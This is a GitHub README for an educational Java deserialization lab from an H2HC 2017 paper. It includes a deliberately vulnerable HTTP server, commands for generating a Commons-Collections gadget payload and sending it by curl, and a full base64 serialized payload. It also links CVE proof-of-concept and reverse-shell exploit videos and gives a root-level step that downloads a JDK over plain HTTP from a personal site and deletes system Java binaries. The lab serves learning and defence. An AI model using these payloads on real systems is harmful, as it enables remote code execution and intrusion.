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https://github.com/joaomatosf/JavaDeserH2HC

Sample codes written for the Hackers to Hackers Conference magazine 2017 (H2HC).
https://github.com/joaomatosf/JavaDeserH2HC

deserialization java javadeser jboss jvm lab poc reverse-shell vulnerability

Last synced: 20 days ago
JSON representation

Sample codes written for the Hackers to Hackers Conference magazine 2017 (H2HC).

Host: GitHub
URL: https://github.com/joaomatosf/JavaDeserH2HC
Owner: joaomatosf
License: mit
Created: 2017-09-11T14:31:14.000Z (about 7 years ago)
Default Branch: master
Last Pushed: 2022-03-11T17:18:27.000Z (over 2 years ago)
Last Synced: 2024-08-04T23:10:35.329Z (3 months ago)
Topics: deserialization, java, javadeser, jboss, jvm, lab, poc, reverse-shell, vulnerability
Language: Java
Size: 943 KB
Stars: 490
Watchers: 24
Forks: 117
Open Issues: 2
Metadata Files:
- Readme: README.md
- License: LICENSE

Awesome Lists containing this project

awesome-csirt - JavaDeserH2HC

README

        # Lab for Java Deserialization Vulnerabilities

This content is related to the paper written for the 12th edition of H2HC magazine. 

See full paper in: https://www.h2hc.com.br/revista/

Slides and video of the talk will be available soon.

>Um overview sobre as bases das falhas de desserialização nativa em ambientes Java (JVM)

>An overview of deserialization vulnerabilities in the Java Virtual Machine (JVM)

Content

--

The lab contains code samples that help you understand deserialization vulnerabilities and how gadget chains exploit them. 

The goal is to provide a better understanding so that you can develop new payloads and/or better design your environments.

There is also a vulnerable testing application (VulnerableHTTPServer.java), which helps you test your payloads.

Slides

--

[![Alt text](https://image.slidesharecdn.com/h2hc2017joaomatosfjavadeser-171025200215/95/an-overview-of-deserialization-vulnerabilities-in-the-java-virtual-machine-jvm-h2hc-2017-1-638.jpg?cb=1508963584)](https://www.slideshare.net/joaomatosf_/an-overview-of-deserialization-vulnerabilities-in-the-java-virtual-machine-jvm-h2hc-2017)

Examples (PoC's)

------

* PoC CVE-2017-7504 - JBossMQ JMS Invocation Layer (https://access.redhat.com/security/cve/cve-2017-7504)

[![Alt text](https://img.youtube.com/vi/jVMr4eeJ2Po/0.jpg)](https://www.youtube.com/watch?v=jVMr4eeJ2Po)

* PoC CVE-2017-12149 - JBoss 6.X and EAP 5.X (https://access.redhat.com/security/cve/cve-2017-12149)

[![Alt text](https://img.youtube.com/vi/JIWMItSA8l0/0.jpg)](https://www.youtube.com/watch?v=JIWMItSA8l0)

* PoC Exploiting struts2-rest XStream Deserialization with Reverse Shell

[![Alt text](https://img.youtube.com/vi/IrZOlqio0nw/0.jpg)](https://www.youtube.com/watch?v=IrZOlqio0nw)

Lab Usage Examples

--

First of all you need to read the full paper. Then review the sample codes and use the vulnerable testing application to understand how payloads work.

***Getting JDK***

If you dont want to go to the Oracle page and register, you can download the JDK directly from me in: http://www.joaomatosf.com/rnp/?prefix=rnp/java_files/

As **root**, run:

```

# cd /opt

# curl http://www.joaomatosf.com/rnp/java_files/jdk-8u20-linux-x64.tar.gz -o jdk-8u20-linux-x64.tar.gz 

# tar zxvf jdk-8u20-linux-x64.tar.gz

# rm -rf /usr/bin/java*

# ln -s /opt/jdk1.8.0_20/bin/j* /usr/bin

# java -version

  java version "1.8.0_20" 

```

***Getting codes:***

```

$ git clone https://github.com/joaomatosf/JavaDeserH2HC.git

$ cd JavaDeserH2HC

```

***Compiling and executing Vulnerable Web Application:***

```

$ javac VulnerableHTTPServer.java -XDignore.symbol.file

$ java -cp .:commons-collections-3.2.1.jar VulnerableHTTPServer

```

```

* =============================================================== *

*    Simple Java HTTP Server for Deserialization Lab v0.01        *

*    https://github.com/joaomatosf/JavaDeserH2HC                  *

* =============================================================== *

You can inject java serialized objects in the following formats:

 1) Binary in HTTP POST (ie \xAC\xED). Ex:

   $ curl 127.0.0.1:8000 --data-binary @ObjectFile.ser

 2) Base64 or Gzip+Base64 via HTTP POST parameters. Ex:

   $ curl 127.0.0.1:8000 -d "ViewState=H4sICAeH..."

   $ curl 127.0.0.1:8000 -d "ViewState=rO0ABXNy..."

 3) Base64 or Gzip+Base64 in cookies. Ex:

   $ curl 127.0.0.1:8000 -H "Cookie: JSESSIONID=H4sICAeH..."

   $ curl 127.0.0.1:8000 -H "Cookie: JSESSIONID=rO0ABXNy..."

   

 4) Base64 of AES-CBC encrypted with hardcoded Apache Shiro key. Ex:

   $ curl 127.0.0.1:8000 -H "Cookie: rememberMe=MTIzNDU2Nzg...

   

 5) XML for XStream RCE vulnerability/serialization. Ex:

   $ curl 127.0.0.1:8000 -d @file.xml

   

OBS: To test gadgets in specific libraries, run with -cp param. Ex:

$ java -cp .:commons-collections-3.2.1.jar VulnerableHTTPServer

==================================================================

JRE Version: 1.8.0_77

[INFO]: Listening on port 8000

```

***Testing payloads***

Compiling example1 that works in applications with commons-collections3.2.1 in the classpath and JRE < 8u72:

```

$ javac -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1.java

```

Generating payload:

```

$ java -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1 'touch /tmp/h2hc_2017'

Saving serialized object in ExampleCommonsCollections1.ser

```

Exploiting vulnerable server:

Sending the payload in binary format via HTTP POST:

```

$ rm -rf /tmp/h2hc_2017

$ curl 127.0.0.1:8000/ --data-binary @ExampleCommonsCollections1.ser

Data deserialized!

$ ls -all /tmp/h2hc_2017

-rw-r--r-- 1 joao joao 0 Sep 13 22:34 /tmp/h2hc_2017

```

Sending the payload in Gzip+Base64 format via HTTP Cookies:

```

$ rm -rf /tmp/h2hc_2017

$ gzip ExampleCommonsCollections1.ser

$ base64 -w0 ExampleCommonsCollections1.ser.gz

$ curl 127.0.0.1:8000/ -H "cookie: JSESSIONID=H4sICMeVuVkAA0V4YW1wbGVDb21tb25zQ29sbGVjdGlvbnMxLnNlcgCVVD1MFEEUfrd3iKDEAxVNiITGqER2kZhIuEKRBCFZlCAS4hU67M3dLuzOrjOz5x0ohY0tBQmxUQut/EmMtYWxMBEl0UZDZ2HURBMtrHVmd+9uAf+44u7tzfu+933vvdn7X6GOUehhPlEpztvY4CoixOWIWy5R+6vhMCm6RhANIZKzMT334seO3cvzdxVQdNjuYGcK0wlk+5hx2KFPoyLSfG7Z2gjyMjqkeNnDHJrDAxuRgjZgI8YyJY9dBYAENMkTVUJUASlR2BP8IVOrykapWyq/P7Da8TI9sKxAQoeEyWF/jDTK1DbIlYUuwTyAcNvp0oKKPGSYWDVcx3EJE7+2BFoydpCn6mi2LHSQD4vXbpbTi0lZrD6PDO7SMofDuqDQQgototBiFNo4RYTlXeqElSn0/aNm3ieSm6kDJrIIzsUIup8vfTk4u5QShrPQZMVORKu7spuT4tMI8jcxcciTic7v747uvaEAlDwxqZQwk/lvM+KJI8JjhJPFheZ+5dFiML4Gq5LBoSU2xjNT04JLyC1SaK7twZhPuOVgqH0211u5FTOYxtRc//RzZu7KSq8CySzUWf20IHq6M7tRig7brBHMTTd3Gjl4rdqznFqkkMmKlFFEkTMudl3QtGR/s+2i/xF9aCmiX1iZvJVmh+xKlxUOjQXMI8MC1BIHhWT3Wt8+XH51vjoZ4NAgMKFKXy57u2QSLUzXoKHW29/u9M5mHp8MoMUgNbgdrQGsTcK8aih4t1hB5/5EGppYM5aAtG0daWK9+6hzD95MfPy8b+5UxUmSQ702ZRGNieutdAnqXdz1DbND446nmT2mcaGn+8gxDilcwkZVVSIoqrHKzgQvkyHETHGR6+pXnz5rvfg6CcogNNouyg0Gl3kYGrhJMTNdO1fyjp8I9V/eKr7SgZOSsNpeUxx7OY5hjomM1hiXEvp+AaGU2MlXBQAA"

Data deserialized!

$ ls -all /tmp/h2hc_2017

-rw-r--r-- 1 joao joao 0 Sep 13 22:47 /tmp/h2hc_2017

```

Update 2022 - Pré-Auth RCE (default installation) in JBoss EAP 5.X/6AS, JBoss Operations Network and others RedHat products

--

I've been using these bugs for years in internal engagements. Old but still a gold to lateral inside business/core networks.

I had already leaked this at the AlligatorCon - Recife (I think at 2018) and in the 2019 Hackers to Hackers Conference (H2HC) Advanced Web Training (with my friends @reefbr and @marcioalm).

***Slides***

[![Alt text](https://s3.amazonaws.com/files.joaomatosf.com/slides/alligator_slides.png)](https://s3.amazonaws.com/files.joaomatosf.com/slides/alligator_slides.pdf)